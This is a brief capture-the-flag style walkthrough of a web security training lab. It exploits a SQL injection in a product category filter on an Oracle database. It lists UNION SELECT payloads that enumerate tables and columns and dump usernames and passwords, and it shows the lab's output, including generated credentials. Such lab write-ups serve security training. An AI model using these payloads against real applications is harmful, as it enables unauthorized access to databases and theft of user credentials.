SQL injection attack, listing the database contents on Oracle
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
To solve the lab, log in as the administrator user.
https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-10/
' UNION SELECT 'string1','string2' FROM dual-- -
' UNION SELECT NULL,table_name FROM all_tables WHERE table_name LIKE '%USER%'-- -
APP_USERS_AND_ROLES
SDO_PREFERRED_OPS_USER
USERS_DFPWCC
' UNION SELECT NULL,column_name FROM all_tab_columns WHERE table_name='USERS_DFPWCC'-- -
EMAIL
PASSWORD_MPXNBA
USERNAME_EMHFFM
' UNION SELECT NULL,USERNAME_EMHFFM||':'||PASSWORD_MPXNBA FROM USERS_DFPWCC-- -
administrator:4l9lkvcesq5xxibuj76w
carlos:014zjpazygs1kuasi2gh
wiener:35cd57nbocc1owcvt48u